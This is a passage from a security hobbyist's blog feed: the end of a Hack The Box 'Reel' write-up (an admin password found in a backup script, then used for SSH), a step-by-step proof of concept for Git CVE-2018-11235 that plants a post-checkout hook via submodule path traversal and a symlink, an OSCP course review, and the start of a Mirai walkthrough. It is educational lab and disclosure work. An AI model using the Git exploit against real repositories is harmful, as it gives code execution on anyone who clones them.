  Directory of C:\Users\Administrator\Desktop\Backup Scripts

11/02/2017	09:47 PM	&lt;DIR&gt;		.
11/02/2017	09:47 PM	&lt;DIR&gt;		..
11/03/2017	11:22 PM		    845	backup.ps1
11/02/2017	09:37 PM		    462	backup1.ps1
11/03/2017	11:21 PM		  5,642	BackupScript.ps1
11/02/2017	09:43 PM		  2,791	BackupScript.zip
11/03/2017	11:22 PM		  1,855	folders-system-state.txt
11/03/2017	11:22 PM		    308	test2.ps1.txt
		    6 File(s)		  11,903 bytes
		    2 Dir(s)      15,719,768,064 bytes free
</code></pre></div></div>

<p>Alright, it’s just digging work at this point. After reviewing these scripts one by one (which seem to be used to automate the backup process of some directories of the box), we finally find what we are looking for:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&gt; type BackupScript.ps1
# admin password                                                                                                
$password="Cr4ckMeIfYouC4n!" 
[...]
</code></pre></div></div>

<p>Is this it? Are we done?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># ssh Administrator@10.10.10.77
Administrator@10.10.10.77's password:

Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

administrator@REEL C:\Users\Administrator&gt;
</code></pre></div></div>

<p>\o/</p>

<h2 id="conclusion">Conclusion</h2>

<p>I enjoyed this machine <em>a lot</em>. Some time ago, I decided to focus on Windows machines in Hack The Box precisely because I knew my knowledge about the more recent techniques was very limited. And after solving a couple of easy ones, I stumbled upon Reel and found exactly what I was looking for. Even though I had read about all these things before, I had never actually used a Microsoft Word exploit, BloodHound or PowerView. It was great to put all these wonderful tools in practice and understanding them a little better (of course I’m not by any means an expert with any of them, there’s a lot more to be done!), and I truly appreciate the amount of work dedicated to this box so noobs like me can practice and learn all these cool things.</p>

<p>In short, big, <em>big</em> thanks to <a href="https://www.hackthebox.eu/home/users/profile/1190">egre55</a> for creating this wonderful machine, to Hack The Box for hosting it and to you for reading this <em>long</em> write-up, if you managed to not fall sleep halfway.</p>

<p>See you in the next one!</p>]]></content><author><name></name></author><summary type="html"><![CDATA[It’s been a while since I’ve posted a write-up about a Hack The Box machine in here. I had several candidates to write a post about, but finally I think the one I enjoyed the most was Reel. This fantastic box had me work on it over the span of two months, and when finally I reached admin I was astonished of how cool the ride had been. So let’s see how it went!]]></summary></entry><entry><title type="html">CVE-2018-11235 - Quick &amp;amp; Dirty PoC</title><link href="https://atorralba.github.io/CVE-2018-11235/" rel="alternate" type="text/html" title="CVE-2018-11235 - Quick &amp;amp; Dirty PoC" /><published>2018-06-01T00:00:00+00:00</published><updated>2018-06-01T00:00:00+00:00</updated><id>https://atorralba.github.io/CVE-2018-11235</id><content type="html" xml:base="https://atorralba.github.io/CVE-2018-11235/"><![CDATA[<p>Earlier this week, I stumbled upon a <a href="https://twitter.com/_staaldraad/status/1001542421161930752">tweet</a> that caught my interest:</p>

<blockquote>
  <p>Patches for git have been released, fixing cve-2018-11235, a RCE vulnerability I found! I’ll publish a write-up next week describing the vuln and how this gave me RCE on GitHub Pages. https://marc.info/?l=git&amp;m=152761328506724&amp;w=2
<a href="https://twitter.com/_staaldraad">@_staaldraad</a></p>
</blockquote>

<p>RCE on Git? That sounded juicy!</p>

<p>After researching a little, I quickly found a <a href="https://www.edwardthomson.com/blog/upgrading_git_for_cve2018_11235.html">couple</a> of <a href="https://blogs.msdn.microsoft.com/devops/2018/05/29/announcing-the-may-2018-git-security-vulnerability/">posts</a> that summarize very well what the issue is, and later a <a href="https://www.reddit.com/r/netsec/comments/8n73b4/cve201811235_security_vulnerability_in_git/">reddit thread</a> with some interesting discussions. The mentioned resources do a far better job at explaining this vulnerability than I would ever dream of, so I recommend you read those before continuing.</p>

<p>What I <em>did</em> thought was that, since there are (or at least were at the time of writing this) no working PoCs that I know of, it could be interesting to develop my own, just to confirm I understood the process correctly.</p>

<h2 id="trying-the-easy-way">Trying the easy way</h2>

<p>Luckily, the <a href="https://github.com/git/git/commit/0383bbb9015898cbc79abd7b64316484d7713b44">commit</a> that fixed the vulnerability in the official repository included a very self-explanatory test case, which I proceed to furiously <em>copy and paste</em> into a repo of my own to see if it worked. The commands were, more or less:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="c"># First, create a test repository in /tmp</span>
<span class="nb">cd</span> /tmp
git init <span class="nb">test</span>

<span class="c"># Then proceed to follow the test case steps</span>
<span class="c"># An 'innocent' repository is needed to link our submodules to</span>
git init innocent
git <span class="nt">-C</span> innocent commit <span class="nt">--allow-empty</span> <span class="nt">-m</span> foo

<span class="c"># Now, since I wanted this to be a remote PoC, I introduced a change here and pushed the repo to a remote Git server</span>
<span class="nb">cd </span>innocent
git remote add origin &lt;innocent-private-repo-url&gt;
git push <span class="nt">-u</span> origin master

<span class="c"># Once that is done, it's time to return to our test repo and start creating our submodules, which are the key to RCE</span>
<span class="nb">cd</span> ../test

<span class="c"># This submodule will serve our payload</span>
<span class="c"># The command will create an 'evil' folder in the test repo which has a .git file that contains an url to the actual submodule's .git configuration folder, that is built like the following:</span>
<span class="c"># ../.git/modules/${submodule_name}</span>
<span class="c"># Keep this in mind because it will be important</span>
git submodule add <span class="s2">"&lt;innocent-private-repo-url&gt;"</span> evil

<span class="c"># Now, we copy the git config folder of the submodule inside the test repo</span>
<span class="nb">mkdir </span>modules
<span class="nb">cp</span> <span class="nt">-r</span> .git/modules/evil modules

<span class="c"># And then we can create our payload, which will be a simple echo to confirm we got RCE</span>
<span class="c"># This hook will execute after a checkout, but only if a submodule .git config file points to moudles/evil</span>
<span class="nb">cat</span> <span class="o">&lt;&lt;</span><span class="no">EOF</span><span class="sh"> &gt; modules/evil/hooks/post-checkout
echo &gt;&amp;2 "YOU'VE BEEN PWND"
</span><span class="no">EOF
</span><span class="c"># ^ Yes, I changed that, the test case uses another message</span>

<span class="c"># Now, in this step lies one of the fundamental pieces of the vuln: Path Traversal in submodule names</span>
<span class="c"># Remember how the .git config file of the submodule pointed to the actual config folder? What if we put some Path Traversal characters in the submodule name?</span>
git config <span class="nt">-f</span> .gitmodules submodule.evil.update checkout
git config <span class="nt">-f</span> .gitmodules <span class="nt">--rename-section</span> submodule.evil submodule.../../modules/evil

<span class="c"># So, via Path Traversal, we effectively pointed the .git folder of the submodule to a path in the parent folder, outside of its own .git folder. The one that happens to contain our payload :-)</span>
<span class="c"># With this, the contents of the submodule's configuration can get pushed to the remote</span>
<span class="c"># Ofc, we can do this because our Git version isn't patched yet</span>

<span class="c"># Now it's time to commit and push</span>
git add modules
git commit <span class="nt">-am</span> evil
git remote add origin &lt;test-private-repo-url&gt;
git push <span class="nt">-u</span> origin master

<span class="c"># The test case mentions that another submodule that is checked out before our evil submodule is needed to ensure a .git/modules directory is created beforehand</span>
<span class="c"># So let's do that, why not</span>
git submodule add <span class="s2">"&lt;innocent-private-repo-url&gt;"</span> another-module
git add another-module
git commit <span class="nt">-am</span> another
git push
</code></pre></div></div>

<p>Okay, that was easy! Just copy-pasting and calling it a day, right? Let’s test our leet exploit. Just by cloning the repo with the <code class="language-plaintext highlighter-rouge">--recursive</code> or <code class="language-plaintext highlighter-rouge">--recurse-submodules</code> flags, the payload should execute…</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git clone --recurse-submodules &lt;test-private-repo-url&gt;
Cloning into 'test'...
remote: Counting objects: 88, done.
remote: Compressing objects: 100% (64/64), done.
remote: Total 88 (delta 25), reused 0 (delta 0)
Receiving objects: 100% (88/88), 12.52 KiB | 0 bytes/s, done.
Resolving deltas: 100% (25/25), done.
Checking connectivity... done.
Submodule 'another-module' (&lt;innocent-private-repo-url&gt;) registered for path 'another-module'
Submodule '../../modules/evil' (&lt;innocent-private-repo-url&gt;) registered for path 'evil'
Cloning into 'another-module'...
remote: Counting objects: 2, done.
remote: Total 2 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (2/2), done.
Checking connectivity... done.
Submodule path 'another-module': checked out '2b1692beafc6a96b94591556d047e6d4dc63dafe'
fatal: Could not chdir to '../../../../../../evil': No such file or directory
Unable to fetch in submodule path 'evil'
</code></pre></div></div>

<p>What. Something went wrong here.</p>

<h2 id="oh-you-tricky-path-traversal">Oh, you tricky Path Traversal</h2>

<p>Ok, so what happened? I double-checked the <code class="language-plaintext highlighter-rouge">.git</code> file that got generated inside the <code class="language-plaintext highlighter-rouge">evil</code> submodule folder, but it looked okay:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gitdir: ../.git/modules/../../modules/evil
</code></pre></div></div>

<p>It pointed to the correct location, the copied <code class="language-plaintext highlighter-rouge">modules</code> folder that is inside the parent repo. So, what’s the configuration inside it?</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ cat modules/evil/config
[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
        worktree = ../../../../../../evil
[remote "origin"]
        url = &lt;innocent-private-repo-url&gt;
        fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
        remote = origin
        merge = refs/heads/master
</code></pre></div></div>

<p>Wow, look at that <code class="language-plaintext highlighter-rouge">worktree</code> value. That’s definitely not what we pushed to the remote. What’s happening here?</p>

<p>Well, it turns out that Git seems to modify the <code class="language-plaintext highlighter-rouge">worktree</code> value to make it work with the submodule folder in case you added extra directories in the path or something. So, what I guess it’s doing is:</p>

<ul>
  <li>For every directory that is in <code class="language-plaintext highlighter-rouge">evil/.git</code>’s ‘<code class="language-plaintext highlighter-rouge">gitdir</code> (after the <code class="language-plaintext highlighter-rouge">..</code>), Git knows it will need to travel one directory back to get to the submodule folder again</li>
  <li>So, once it reaches the submodule configuration folder, it alters its <code class="language-plaintext highlighter-rouge">worktree</code> value to make it point to the submodule folder. That means adding one <code class="language-plaintext highlighter-rouge">../</code> for every directory it traveled before.</li>
  <li>But, since we added some Path Traversal to that path, it’s traveling back too many directories, going outside the repo folder and giving an error before checking out, ruining the exploit.</li>
</ul>

<p>I guess I didn’t explain myself very clearly there, but what indeed <em>is</em> clear is that we can’t execute our payload like this. We need to circumvent this problem of “going too many directories back”. I got pretty stuck at this point, until I re-read the <a href="https://blogs.msdn.microsoft.com/devops/2018/05/29/announcing-the-may-2018-git-security-vulnerability/">Microsoft post</a>, which gives a subtle hint when talking about the vulnerability remediation:</p>

<blockquote>
  <p>The solution to this problem is quite simple and effective: submodule’s folder names are now examined more closely by Git clients. They can no longer contain .. as a path segment, and they <strong>cannot be symbolic links</strong>, so they must be within the .git repository folder, and not in the actual repository’s working directory.</p>
</blockquote>

<p>Huuummmm. Could we use a symbolic link to make Git think it’s in a directory when it’s actually <em>deeper</em> in our <code class="language-plaintext highlighter-rouge">module</code> folder? After making some basic calculations (which I failed horribly several times until I got it right, and that’s basic counting, so you can see here my brilliant brain at its best), it seemed that with 4 extra directories, the modified <code class="language-plaintext highlighter-rouge">worktree</code> would correctly point to the <code class="language-plaintext highlighter-rouge">evil</code> submodule folder.</p>

<p>What do we have to lose?</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd </span>modules/
<span class="nb">mkdir</span> <span class="nt">-p</span> 1/2/3/4
<span class="nb">mv </span>evil 1/2/3/4/
<span class="nb">ln</span> <span class="nt">-s</span> 1/2/3/4/evil evil
git add modules
git commit <span class="nt">-m</span> <span class="s2">"symbolic link"</span>
git push
</code></pre></div></div>

<p>Now, the <code class="language-plaintext highlighter-rouge">evil</code> submodule’s <code class="language-plaintext highlighter-rouge">.git</code> file points to <code class="language-plaintext highlighter-rouge">modules/evil</code>, but <code class="language-plaintext highlighter-rouge">modules/evil</code> is a symlink to <code class="language-plaintext highlighter-rouge">modules/1/2/3/4/evil</code>, from where <code class="language-plaintext highlighter-rouge">../../../../../../evil</code> is the correct path to the <code class="language-plaintext highlighter-rouge">evil</code> submodule folder. I know this is, like, <em>giving you a headache</em>, but follow me a little longer. We are, after all, one <code class="language-plaintext highlighter-rouge">git clone</code> away of knowing if our guess is right or wrong:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git clone --recurse-submodules &lt;test-private-repo-url&gt;

/test.git
Cloning into 'test'...
remote: Counting objects: 95, done.
remote: Compressing objects: 100% (67/67), done.
remote: Total 95 (delta 26), reused 0 (delta 0)
Receiving objects: 100% (95/95), 12.90 KiB | 0 bytes/s, done.
Resolving deltas: 100% (26/26), done.
Checking connectivity... done.
Submodule 'another-module' (&lt;innocent-private-repo-url&gt;) registered for path 'another-module'
Submodule '../../modules/evil' (&lt;innocent-private-repo-url&gt;) registered for path 'evil'
Cloning into 'another-module'...
remote: Counting objects: 2, done.
remote: Total 2 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (2/2), done.
Checking connectivity... done.
Submodule path 'another-module': checked out '2b1692beafc6a96b94591556d047e6d4dc63dafe'
YOU'VE BEEN PWND
Submodule path 'evil': checked out '2b1692beafc6a96b94591556d047e6d4dc63dafe'
</code></pre></div></div>

<p>Yay!</p>

<h2 id="conclusion">Conclusion</h2>

<p>This is a quick and dirty PoC I did just for the challenge. <strong>By no means I’m saying I deserve <em>any</em> credit for discovering or contributing to this vulnerability</strong>. I just wanted to try and see if I could develop a working, <strong>remote</strong> PoC before the official walkthrough and details were published. Congratulations and big thanks to <a href="https://twitter.com/_staaldraad">@_staaldraad</a> for the discovery, I’m dying to read more about it and how it worked on GitHub Pages!</p>

<p>Oh, and speaking of GitHub, I’m unable to push the PoC to a repo in there because they are blocking submodules with Path Traversal names now, which is good, but that means this walkthrough will need to be enough for you if you want to replicate my steps.</p>

<p>I hope this wasn’t too badly explained, I wanted it to be short and straightforward but I guess I diverged a little.</p>

<p>Thanks for reading!</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Earlier this week, I stumbled upon a tweet that caught my interest:]]></summary></entry><entry><title type="html">OSCP Review - Or How I Tried to Try Harder</title><link href="https://atorralba.github.io/OSCP-Review/" rel="alternate" type="text/html" title="OSCP Review - Or How I Tried to Try Harder" /><published>2018-03-27T00:00:00+00:00</published><updated>2018-03-27T00:00:00+00:00</updated><id>https://atorralba.github.io/OSCP-Review</id><content type="html" xml:base="https://atorralba.github.io/OSCP-Review/"><![CDATA[<p>Last week, I very gladly received an e-mail from Offensive Security: I had passed the Pentesting With Kali Linux (PWK) course and exam, and therefore I had obtained my OSCP certification. Given that I had almost fully committed my free time of the last few months to this course, you can imagine how happy I was to receive such message. Now that I’ve recovered a little (mentally and physically), it seems like a good idea to write some kind of wrap-up of the whole process, beginning to end. I am aware this has been done like a <em>trillion</em> times by other people; but, you know, it may still be helpful or at least entertaining, so I’m doing it anyway.</p>

<h2 id="background">Background</h2>

<p>I’ve seen some people very interested in this part when asking others about OSCP. What’s the necessary background to be able to enjoy and pass the course? I can only talk about my experience, but when I started PWK, I had already done the following:</p>

<ul>
  <li>The <em>uni</em> thing (Bachelor’s in Computer Science, Master’s in Information Security)</li>
  <li>Solved many CTF-like boxes, mainly from <a href="https://www.vulnhub.com/">VulnHub</a> and later <a href="https://www.hackthebox.eu/">Hack The Box</a>. <em>Full-Disclosure</em>: At first, I couldn’t solve a single one and had to read/watch lots of write-ups (I would specially recommend <a href="https://g0blin.co.uk/">g0blin</a>’s and <a href="https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA">ippsec</a>’s). Then, I started grasping something similar to a methodology, and began to actually solve some of the easy boxes. Writing about it in this blog also helped with taking notes and giving structure to the process.</li>
  <li>Solved the first challenges of <a href="https://exploit-exercises.com/">exploit-exercises</a> (Nebula and Protostar).</li>
  <li>Started learning reversing with <a href="https://github.com/radare/radare2">radare2</a> and solved a beginner-level crackme.</li>
  <li>Used Linux as main OS for some years and had some bash trickery up my sleeve.</li>
  <li>Had 3+ years of experience as software engineer and near 6 months as secure code reviewer, with the occasional pentest as a treat. That gave me some understanding of networking and the most common protocols, certificates and PKI, some basic tooling and the typical security vulnerabilities (SQLi, XSS, Command Injection, Path Traversal…)</li>
</ul>

<p>Of course, I’m not saying that everyone needs anything of that list before starting the course; I’m just saying where I was when I started it. In the end, it’s an entirely personal matter, but I would say you at least need some familiarity with Linux command-line, basic security and networking knowledge, good googling skills and plenty of free time and/or willing to spend it in the course. The rest is up to your stubbornness and ability to not give up to frustration. Personally speaking, I felt I was ready when I stopped cheating (i.e. reading the write-up) while head-butting against CTF challenges and actually solved them on my own.</p>

<h2 id="the-course">The course</h2>

<p>Once you start PWK, you are given the course materials and the lab VPN access. Your lab time starts running as soon as you receive the “Starting Pack”, so you may feel the rush to jump into the labs right away (it happened to me). Actually, depending on how much lab time you got, you probably will need some “vacation” days and won’t be touching the lab for some time anyway. So don’t feel bad if you need a couple weeks (or more!) to read the materials, watch the videos and solve the exercises, specially if you don’t have solid bases. You are provided excellent learning material, so you should take advantage of that! On the other hand, you are completely free to go back and forth between the lab and the exercises if you feel like it; don’t think that once you dive into the labs you are in a one-way journey you will only come back from when the lab time ends. In my case, I ended up using the PDF and exercises more as reference material while solving the labs than as a traditional course; but that’s up to you.</p>

<p>Once said that, I will be honest: the real fun starts with the labs. When you connect to the VPN, you are given access to the THINC internal network, where lots of boxes await for you to pop a shell on them. Some are easier, some are harder, and you can define your own goals. You may want to compromise as much machines as possible. Others may want to take down the almost-mythical “Top 3” machines, which are arguably the hardest in the whole lab. You can also aim to go deeper into the network, reaching the IT, Development and finally Administration subnets. It all depends on your interests, available time and personal tastes.</p>

<p>In my case, I decided to go sequentially, starting with the first IP in range and ending with the last. As personal goals, I decided to try to pop at least one of the “Big Three”, and then go for the Administration network (which is described as the “ultimate goal” in the course description). This probably isn’t the best method to optimize your time in the lab, but it was one I enjoyed, so there’s that. One thing I am aware I did wrong, however, was spending too much time with machines I struggled to solve. Instead of moving forward, trying new boxes and come back later, I could spend days or even weeks trying a single privilege escalation, which really increased my frustration and made me need more “vacation days” than necessary.</p>

<p>Related to that, it was incredibly useful to take detailed notes of every major step made in every box I compromised in the lab. Not only it keeps you motivated by writing “ticks” on the machines you completed, but also serves as a record of the exploits and techniques used. More than once, I needed to go back to a machine I already solved for whatever reason, and keeping the “how-to” written down was absolutely time-saving. Oh, and as an extra hint, it was useful to keep track of some occasional loot I found on certain machines. Surprisingly, it came in handy deeper in the lab!</p>

<p>Another thing I noticed is that the materials don’t give you everything you’ll need to solve <em>all</em> the boxes. They give you the basics, and you have to elaborate from there (elaborate is a fancy word for <em>furiously googling in search of answers</em>). A lot of machines depend on finding the specific, public exploit, so making yourself comfortable with <a href="https://www.exploit-db.com/">exploit-db</a> and specially its shell utility <code class="language-plaintext highlighter-rouge">searchsploit</code> is very useful. But others, specially the hard ones, have somewhat obscure/less known vulnerabilities that will require patience and Google-Fu.</p>

<p>Now, the big question. When are you ready for the exam? One never knows. Some say if you manage to solve the “Big Three”, you are set. Others say you should solve a good chunk (or all!) of the lab machines to consider yourself ready. Just like the “when to start the course question”, it’s more of a personal matter. But as general advice, you’re probably fine if you got around 20~30 lab machines, you’ve practiced the buffer overflow explained in the materials, and you got your methodology right (enumeration being probably the most important skill). Also, it’s probably a good idea to get the basic privesc tricks at hand, both Linux and Windows. <a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">g0tmi1k</a> and <a href="http://www.fuzzysecurity.com/tutorials/16.html">fuzzysecurity</a> provide excellent guides that cover these subjects.</p>

<h2 id="the-exam">The exam</h2>

<p>Eventually, the day arrives. You booked the date in your student panel, your lab time probably expired some days (or weeks) ago, you stocked up coffee and chocolate (for the sugar rush) and told your assistant to “cancel all your appointments”. The 24-hour exam plus 24-hour report is a dreadful perspective, but as my physics professor back in high school used to say: “it’s only a matter of acknowledging the amount of work”. Which probably means you shouldn’t be thinking in the work that’s left to do, but the work you are doing right now and will do just next.</p>

<p>Obviously, I can’t recommend a perfect way of approaching the exam. But here are a few things that worked out for me:</p>

<ul>
  <li>
    <p>Started at 8 AM on a Saturday. That meant I had to book the date some weeks ahead, but it paid off. Starting fresh after sleeping well, knowing you can sleep the whole day once you finish, is great. Don’t rush it to a Wednesday at 9 PM just because it’s the first date available (unless you really want to because you work best at nights or whatever). It’s better to wait a little and get the date you really feel comfortable with.</p>
  </li>
  <li>
    <p>Know when to move on. Even though I actually got quite lucky and solved the machines as I approached them (until the last two - then my personal hell began, but that’s another story), that doesn’t mean it always goes that well. My advice would be: enumerate fast, look around while a deeper enumeration is in background, and if when it finishes you don’t see a clear path right away, try to move on to the next machine. Save the deep, exhausting digging for later, or you will burn out pretty fast.</p>
  </li>
  <li>
    <p>As with regular exams, I like to start with the easiest parts, gain confidence, and progress to the harder ones. Maybe some people don’t like this approach, but it worked like a charm for me. Psychologically speaking, it’s better to have 60% of the work done in 40% of the time, than the other way around, even if that 40% is the hardest part. But of course, do as you feel suits you best.</p>
  </li>
  <li>
    <p>Eat, rest, sleep. This has been said a million times, but its worth mentioning. I started my exam with a good breakfast, then stopped for lunch around 5h later, continued for around 4 hours more, and got stuck. I got really frustrated at this point and felt I wasn’t gonna pass. Then I decided to stop, take a rest, watch some TV series, take dinner, and only after feeling refreshed, I continued. Around 3 hours later, I popped one of the two machines left, and went to bed knowing I had passed. Again, these 6 hours of sleep gave me the energy to get the remaining box, just for the challenge, and score a 100 out of 100. I hope this little story stresses enough what I’m trying to say: refreshing is <em>super</em> important. The brain works in background when you are resting/sleeping - you can wake up just to find out your brain actually found the solution you couldn’t see after 6 hours of miserable attempts.</p>
  </li>
  <li>
    <p>Have fun! This seems stupid advice, but it’s not. I actually had a lot of fun during the exam (not so much during my “panic moment”, but yes overall), and I’m sure that it improved my performance by a noticeable amount. Try to get in the mood like you’re in the lab, or solving a CTF challenge, or whatever stimulates you. In my case, listening to <a href="https://www.youtube.com/watch?v=4lXtqEv4p9A">certain music</a> did a lot to keep me centered, but you may prefer white noise, or silence. In the end, as in almost everything pointed out in this review, it’s up to you.</p>
  </li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>PWK is a wonderful learning experience, as well as the OSCP exam. I now understand why it has this near-mythical aura around it, with the “Try Harder” motto and everything. I’ve already said it, but even though the materials are great, what really makes you work, think and learn are the labs and the exam. I’m not saying the exercises and the videos are not important enough, it’s just I prefer to actually <em>do</em> things, because it’s the only way to demonstrate others and yourself that you really learned something. And it’s virtually impossible to pass this course and get the certification if you don’t <em>do</em> a lot of things beforehand, so you can tell for sure that, whoever got OSCP, they did their homework.</p>

<p>In short, practice, practice, practice. The hours invested, the frustration, everything pays off when you get that beautiful prompt on screen and the high kicks in. After experiencing it a few times, you get addicted. So much, actually, that it’s been barely a week after I passed OSCP, and I’m already thinking in starting Crack the Perimeter (CTP) to get my OSCE. I heard it’s a very different thing, but I’m completely sure the guys at Offensive Security won’t disappoint.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[Last week, I very gladly received an e-mail from Offensive Security: I had passed the Pentesting With Kali Linux (PWK) course and exam, and therefore I had obtained my OSCP certification. Given that I had almost fully committed my free time of the last few months to this course, you can imagine how happy I was to receive such message. Now that I’ve recovered a little (mentally and physically), it seems like a good idea to write some kind of wrap-up of the whole process, beginning to end. I am aware this has been done like a trillion times by other people; but, you know, it may still be helpful or at least entertaining, so I’m doing it anyway.]]></summary></entry><entry><title type="html">Hack The Box - Mirai</title><link href="https://atorralba.github.io/HackTheBox-Mirai/" rel="alternate" type="text/html" title="Hack The Box - Mirai" /><published>2018-03-10T00:00:00+00:00</published><updated>2018-03-10T00:00:00+00:00</updated><id>https://atorralba.github.io/HackTheBox-Mirai</id><content type="html" xml:base="https://atorralba.github.io/HackTheBox-Mirai/"><![CDATA[<p>I’ve been <em>very</em> busy with my PWK course for OSCP lately, and that’s why I’ve not been posting much here. But recently I received the notification that <strong>Mirai</strong>, a box from <a href="https://www.hackthebox.eu/">Hack The Box</a> (a site you should <em>really</em> check out if you haven’t yet), had been retired. Since I solved it back in the day, and luckily I had some notes about how I did it, I thought of writing a little walkthrough and post it here.</p>

<p>And yeah, that’s what you’re reading right now. Crazy, huh?</p>

<h2 id="enumeration">Enumeration</h2>

<p>As always, let’s launch <code class="language-plaintext highlighter-rouge">nmap</code> and see what we get:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># nmap -A -p- 10.10.10.48

Starting Nmap 7.40 ( https://nmap.org ) at 2017-10-31 22:52 CET
Stats: 0:00:50 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 16.67% done; ETC: 22:53 (0:00:30 remaining)
Nmap scan report for 10.10.10.48
Host is up (0.045s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|_  256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
53/tcp    open  domain  dnsmasq 2.76
| dns-nsid:
|_  bind.version: dnsmasq-2.76
80/tcp    open  http    lighttpd 1.4.35
|_http-server-header: lighttpd/1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
1324/tcp  open  upnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
32400/tcp open  http    Plex Media Server httpd
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-cors: HEAD GET POST PUT DELETE OPTIONS
|_http-title: Unauthorized
32469/tcp open  u	pnp    Platinum UPnP 1.0.5.13 (UPnP/1.0 DLNADOC/1.50)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.40%E=4%D=10/31%OT=22%CT=1%CU=32400%PV=Y%DS=2%DC=T%G=Y%TM=59F8F0
OS:EE%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10B%TI=Z%CI=I%II=I%TS=8)OP
OS:S(O1=M54DST11NW6%O2=M54DST11NW6%O3=M54DNNT11NW6%O4=M54DST11NW6%O5=M54DST
OS:11NW6%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%C
OS:D=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 199/tcp)
HOP RTT      ADDRESS
1   45.12 ms 10.10.14.1
2   45.23 ms 10.10.10.48

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.55 seconds
</code></pre></div></div>

<p>Okay, <code class="language-plaintext highlighter-rouge">ssh</code>, <code class="language-plaintext highlighter-rouge">dns</code> and a webserver. <code class="language-plaintext highlighter-rouge">UPnP</code>, uhm, <em>another</em> webserver and… huh, more <code class="language-plaintext highlighter-rouge">UPnP</code>. Okay, I guess.</p>

<p>The banners give us some hints already. For example, the webserver at <code class="language-plaintext highlighter-rouge">32400</code> says <code class="language-plaintext highlighter-rouge">Plex Media Server httpd</code>, and it returns a <code class="language-plaintext highlighter-rouge">401 Unauthorized</code> error. So let’s try port <code class="language-plaintext highlighter-rouge">80</code> and see if we have more luck.</p>

<h2 id="webserver">Webserver</h2>

<p>Once we open <code class="language-plaintext highlighter-rouge">http://10.10.10.48/</code> in a browser, we get a fabulous blank page and nothing more. Great. I tried some basic stuff manually, like <code class="language-plaintext highlighter-rouge">robots.txt</code>, then more crazy things that came to mind and I prefer not to disclose to not sound like a <em>maniac</em>, but at some point I decided to launch <code class="language-plaintext highlighter-rouge">dirb</code> and hope for the best.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># dirb http://10.10.10.48 /usr/share/dirb/wordlists/big.txt

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Wed Nov  1 00:11:18 2017
URL_BASE: http://10.10.10.48/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt

-----------------

GENERATED WORDS: 20458

---- Scanning URL: http://10.10.10.48/ ----
==&gt; DIRECTORY: http://10.10.10.48/admin/
</code></pre></div></div>

<p>(<strong>Note:</strong> As you can see, I used the <code class="language-plaintext highlighter-rouge">big.txt</code> wordlist here right away. The reason is I actually had spent a <em>pretty shameful</em> amount of time trying all sort of crazy things in all the exposed ports, so I was a <em>little</em> frustrated. I hadn’t started PWK yet, so I wasn’t used to this kind of frustration :)</p>

<p>Anyway, our guy <code class="language-plaintext highlighter-rouge">dirb</code> actually found something at <code class="language-plaintext highlighter-rouge">/admin</code>, and to there I browsed. The login page of a <a href="https://pi-hole.net/"><code class="language-plaintext highlighter-rouge">Pi-hole</code></a> appeared before my eyes as I looked at it blankly and confused.</p>

